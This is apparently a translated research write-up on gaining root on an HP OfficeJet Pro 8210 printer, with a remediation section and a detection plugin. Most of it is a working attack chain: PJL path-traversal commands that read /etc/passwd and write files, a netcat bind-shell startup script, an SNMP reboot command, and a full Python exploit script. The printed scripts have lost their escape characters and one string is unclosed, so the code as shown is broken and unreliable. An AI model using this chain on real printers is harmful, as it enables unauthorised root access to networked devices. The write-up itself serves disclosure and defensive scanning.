导语:在各类企业、单位甚至是学校,无论你身处在哪里,打印机都会作为必需品存在。但是打印机的安全问题有人注意过吗?

在各类企业、单位甚至是学校,无论你身处在哪里,打印机都会作为必需品存在。也许你体验到的是其便捷的一面,但你是否了解其作为联网设备的危害在哪里呢?仔细回想一下,你上一次更新它的固件是什么时候?你是否了解过打印机所存在的那些漏洞?

1497937514920657.png

出于对打印机安全性的好奇,我们购买了几台打印机(HP OfficeJet Pro 8210)。事实上,在买的时候我们一直祈祷其那些易受攻击的固件仍然存在,否则你肯定无法想象你需要多少时间来进行回溯。幸运的是,当我们买的两台打印机到的时候我们发现其安装着那些易受攻击的组件,并且更新也被禁用了。OfficeJet Pro 8210的固件无法直接下载。但是,使用打印机Web界面上的“自动安装更新”和“ 立即检查”功能,我们可以将打印机更新到最新固件。

1497937550546770.png

1497937581422970.png

于是我们就有了一个打过补丁和一个未打补丁的打印机,接下来就是我们挖掘远程代码执行漏洞的时间了。

我们从Nmap扫描开始,这样可以查找到打印机打开的端口:

[email protected]:~$ nmap -A 192.168.1.159
Starting Nmap 7.01 ( https://nmap.org ) at 2017-06-08 10:31 PDT
Nmap scan report for HP0A6BFE.westeros (192.168.1.159)
Host is up (0.014s latency).
Not shown: 994 closed ports
PORT      STATE SERVICE    VERSION
80/tcp    open  http       HP HTTP Server; HP OfficeJet Pro 8210 - D9L64A;
443/tcp   open  ssl/https  HP HTTP Server; HP OfficeJet Pro 8210 - D9L64A;
515/tcp   open  printer
631/tcp   open  ssl/ipp    HP HTTP Server; HP OfficeJet Pro 8210 - D9L64A;
8080/tcp  open  http-proxy HP HTTP Server; HP OfficeJet Pro 8210 - D9L64A;
9100/tcp  open  jetdirect?

这里看起来没什么问题, HTTP服务器的监听端口80,443以及8080;行式打印机守护进程(LPD)在端口515上;Internet打印协议(IPP)在端口631上;Nmap将端口9100标记为“jetdirect?”,这通常意味着“原始打印”或端口9100打印。

HP将9100端口打印为“HP专有”,但众所周知的是,这个端口还支持原始打印、PCL、PostScript和PJL。以下是一个简单的示例——在端口9100上使用PJL来获取打印机的设备信息:

[email protected]:~$ nc 192.168.1.159 9100
@PJL INFO ID
@PJL INFO ID
"HP OfficeJet Pro 8210"

JensMüller最近写了一篇题为“ 网络打印机:激光打印机和多功能设备中的安全问题调查”的文章,详细介绍了打印机的常见漏洞。作者提出的常见漏洞之一就是通过PJL路径遍历。例如,考虑以下PJL命令列出打印机上的目录:

[email protected]:~$ nc 192.168.1.159 9100
@PJL FSDIRLIST NAME="0:/" ENTRY=1 COUNT=1024
@PJL FSDIRLIST NAME="0:/" ENTR
tmp/ TYPE=DIR
csr_misc/ TYPE=DIR

可以看到列出的目录名称是 0:/ 并且打印机响应两个子目录: TMP / 和 csr_misc /。如果您尝试使用路径移动几个目录,会发生什么0:/../../?

[email protected]:~$ nc 192.168.1.158 9100
@PJL FSDIRLIST NAME="0:/../../" ENTRY=1 COUNT=1024
@PJL FSDIRLIST NAME="0:/../../" ENTRY=1
rw/ TYPE=DIR
ram/ TYPE=DIR
rom/ TYPE=DIR
.sig/ TYPE=DIR

接下来可以看到的是,打印机会响应一个新的目录列表。看起来我们可能在这里会有一个攻击传染媒介。而在这之后,在打补丁打印机上执行相同的PJL命令会生成一个FILEERROR。我们知道,惠普其实已经修复了这两个固件版本之间的问题。但毫无疑问这是个好机会,因为这有可能导致安全公告上所说的远程代码执行。

[email protected]:~$ nc 192.168.1.159 9100
@PJL FSDIRLIST NAME="0:/../../" ENTRY=1 COUNT=1024
@PJL FSDIRLIST NAME="0:/../../"
FILEERROR=0

然而事实上,这种遍历似乎不是很有用。文件结构看起来也不像我熟悉的任何root文件系统。也许还有另一个目录遍历向量?

[email protected]:~$ nc 192.168.1.158 9100
@PJL FSDIRLIST NAME="../../" ENTRY=1 COUNT=4
@PJL FSDIRLIST NAME="../../"
FILEERROR=0
@PJL FSDIRLIST NAME="../../bin/" ENTRY=1 COUNT=4
@PJL FSDIRLIST NAME="../../bin/" ENTRY=1
getopt TYPE=FILE SIZE=880020
setarch TYPE=FILE SIZE=880020
dd TYPE=FILE SIZE=880020
cp TYPE=FILE SIZE=880020

这里,我尝试了 ../../ 但是却生成了一个 FILEERROR。然而,../../bin 列出了传统Linux中找到的文件 /bin目录。看来这下子我们可以遍历Linux文件系统了。

但是如何将这些目录遍历转换为远程代码执行呢?首先,我们需要了解其他一些PJL命令:FSQUERY, FSUPLOAD,和 FSDOWNLOAD。这三个命令将让我们通过r / w即可访问打印机的文件系统。例如,我可以利用FSQUERY 和 FSUPLOAD 用目录遍历来检索内容 / etc / passwd文件:

@PJL FSUPLOAD NAME="../../etc/passwd" OFFSET=0 SIZE=648
@PJL FSUPLOAD FORMAT:BINARY NAME="../../etc/passwd" OFFSET=0 SIZE=648
root:x:0:0:root:/var/root:/bin/sh
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:100:sync:/bin:/bin/sync
mail:x:8:8:mail:/var/spool/mail:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
operator:x:37:37:Operator:/var:/bin/sh
haldaemon:x:68:68:hald:/:/bin/sh
dbus:x:81:81:dbus:/var/run/dbus:/bin/sh
ftp:x:83:83:ftp:/home/ftp:/bin/sh
nobody:x:99:99:nobody:/home:/bin/sh
sshd:x:103:99:Operator:/var:/bin/sh
default:x:1000:1000:Default non-root user:/home/default:/bin/sh
 _ntp:x:100:99:Linux User,,,:/run/ntp:/bin/false

谁会真的去阅读这些文件呢?所以我想去写入他们。FSDOWNLOAD 需要发送 ESC 字符,这里不能使用Netcat,于是我写了一个Python脚本,试图写入 ../../tmp/writing_test:

import socket
import sys
test = ('test')
if len(sys.argv) != 3:
    print 'nUsage:upload.py [ip] [port]n'
    sys.exit()
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_address = (sys.argv[1], int(sys.argv[2]))
print 'connecting to %s port %s' % server_address
sock.connect(server_address)
dir_query = '@PJL FSDOWNLOAD FORMAT:BINARY SIZE=' + str(len(test)) + ' NAME="../../tmp/writing_test"rn'
dir_query += test
dir_query += 'x1b%-12345X'
sock.sendall(dir_query)
sock.close()

不幸的是,这个脚本无法写入该文件。看来,PJL的过程解释在Linux文件系统上没有写入权限:

[email protected]:~$ python write_test.py 192.168.1.158 9100
connecting to 192.168.1.158 port 9100
[email protected]:~$ nc 192.168.1.158 9100
@PJL FSQUERY NAME="../../tmp/writing_test"
@PJL FSQUERY NAME="../../tmp/writing_test"
FILEERROR=0

这是我们试图获得远程执行代码的一大打击。无法访问Linux文件系统,那么替换二进制文件或获取执行的Bash脚本的可能性大大降低。在这一点上,我们唯一的希望就是那个0:/ 文件系统是可写的,写入的文件可以以某种方式执行。

接下来我们必须来进行一次无聊的细节梳理在 0:/文件系统中,我最终注意到其与Linux文件系统有一些重叠。尤其是,0:/../../rw/var/etc/profile.d/一下子就抓住了我的眼球,因为,传统的profile.d目录包含在启动时执行的脚本。此外,目录似乎包含相同的数据:

[email protected]:~$ nc 192.168.1.158 9100
@PJL FSDIRLIST NAME="0:/../../rw/var/etc/profile.d/" ENTRY=1 COUNT=1024
@PJL FSDIRLIST NAME="0:/../../rw/var/etc/profile.d/" ENTRY=1
.sig/ TYPE=DIR
@PJL FSDIRLIST NAME="../../var/etc/profile.d/" ENTRY=1 COUNT=1024
@PJL FSDIRLIST NAME="../../var/etc/profile.d/" ENTRY=1<
.sig/ TYPE=DIR

为了测试我是否可以通过0:/ filesystem写入profile.d ,我更新了 FSDOWNLOAD Python脚本来写一个文件0:/../../rw/var/etc/profile.d/writing_test:

import socket
import sys
test = ('test')
if len(sys.argv) != 3:
    print 'nUsage:upload.py [ip] [port]n'
    sys.exit()
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_address = (sys.argv[1], int(sys.argv[2]))
print 'connecting to %s port %s' % server_address
sock.connect(server_address)
dir_query = '@PJL FSDOWNLOAD FORMAT:BINARY SIZE=' + str(len(test)) + ' NAME="0:/../../rw/var/etc/profile.d/writing_test"rn
dir_query += test
dir_query += 'x1b%-12345X'
sock.sendall(dir_query)
sock.close()

如下所示,Python脚本现在可以工作了!通过遍历Linux文件系统我么可以看到新的文件:

[email protected]:~$ python write_test.py 192.168.1.158 9100
connecting to 192.168.1.158 port 9100
[email protected]:~$ nc 192.168.1.158 9100
@PJL FSDIRLIST NAME="../../var/etc/profile.d/" ENTRY=1 COUNT=1024
@PJL FSDIRLIST NAME="../../var/etc/profile.d/" ENTRY=1
.sig/ TYPE=DIR
writing_test TYPE=FILE SIZE=4

现在我们已经可以对可能包含启动脚本的位置有写入权限了。显然已经非常接近远程代码执行了。现在,我们只需要编写一个脚本,并找出如何重新启动打印机,以便脚本执行就可以了。

我们的启动脚本最明显的选择是给我们shell访问。由于打印机有netcat已安装,我选择去在端口1270上创建一个绑定shell的脚本:

if [ ! -p /tmp/pwned ]; then
    mkfifo /tmp/pwned
    cat /tmp/pwned | /bin/sh 2>&1 | /usr/bin/nc -l 1270 > /tmp/pwned &
fi

随之我们要做的就是将重点转移到远程重新启动打印机。一种方法是在Web界面中使用Power Cycle功能(在“ 工具”菜单下)。另一种方法是使用SNMP 打印机 MIB来重新启动设备。

[email protected]:~$ snmpset -v1 -c public 192.168.1.158 1.3.6.1.2.1.43.5.1.1.3.1 i 4
iso.3.6.1.2.1.43.5.1.1.3.1 = INTEGER: 4

在下面的脚本中,我已经将启动脚本写入了 的profile.d 目录和SNMP重新启动:

##
# Create a bind shell on an unpatched OfficeJet 8210
# Write a script to profile.d and reboot the device. When it comes
# back online then nc to port 1270.
#
# easysnmp instructions:
# sudo apt-get install libsnmp-dev
# pip install easysnmp
##
import socket
import sys
from easysnmp import snmp_set
profile_d_script = ('if [ ! -p /tmp/pwned ]; thenn'
                    'tmkfifo /tmp/pwnedn'
                    'tcat /tmp/pwned | /bin/sh 2>&1 | /usr/bin/nc -l 1270 > /tmp/pwned &n
                    'fin')
if len(sys.argv) != 3:
    print 'nUsage:upload.py [ip] [port]n'
    sys.exit()
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(2)
server_address = (sys.argv[1], int(sys.argv[2]))
print 'connecting to %s port %s' % server_address
sock.connect(server_address)
dir_query = '@PJL FSDOWNLOAD FORMAT:BINARY SIZE=' + str(len(profile_d_script)) + ' NAME="0:/../../rw/var/etc/profile.d/lol.sh"rn'
dir_query += profile_d_script
dir_query += 'x1b%-12345X'
sock.sendall(dir_query)
sock.close()
sock1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock1.connect(server_address)
dir_query = '@PJL FSQUERY NAME="0:/../../rw/var/etc/profile.d/lol.sh"rn'
sock1.sendall(dir_query)
response = ''
while True:
    data = sock1.recv(1)
    if 'n' == data: break
    response += data
print response
snmp_set('.1.3.6.1.2.1.43.5.1.1.3.1', 4, 'integer', hostname='192.168.1.158', community='public', version=1)
print 'Done! Try port 1270 in ~30 seconds'

运行该脚本,大约三十秒后,通过端口1270就会有root shell了。

[email protected]:~$ python printer_exploit.py 192.168.1.158 9100
connecting to 192.168.1.158 port 9100
@PJL FSQUERY NAME="0:/../../rw/var/etc/profile.d/lol.sh" TYPE=FILE SIZE=119
Done! Try port 1270 in ~30 seconds
[email protected]:~$ nc 192.168.1.158 1270
whoami
root

如何解决这一问题?

幸运的是,对于每个人来说,一旦你了解了这次的攻击,那么这个小漏洞就很容易就会被发现。我们在五月下旬就发布了Nessus插件100461来检测此漏洞。此外,还进行了更改,以便Nessus在服务发现期间不再导致9100端口打印。希望这将鼓励更多客户启用打印机扫描。

总而言之,不要忽视威胁模型中的那些打印机。现在的打印机俨然已经是一台电脑了,所以我们要做的就是像一台电脑一样对待它。扫描它、更新它、监视它,毕竟谁也不知道其存在着什么样潜在的威胁不是吗?

源链接

Hacking more

...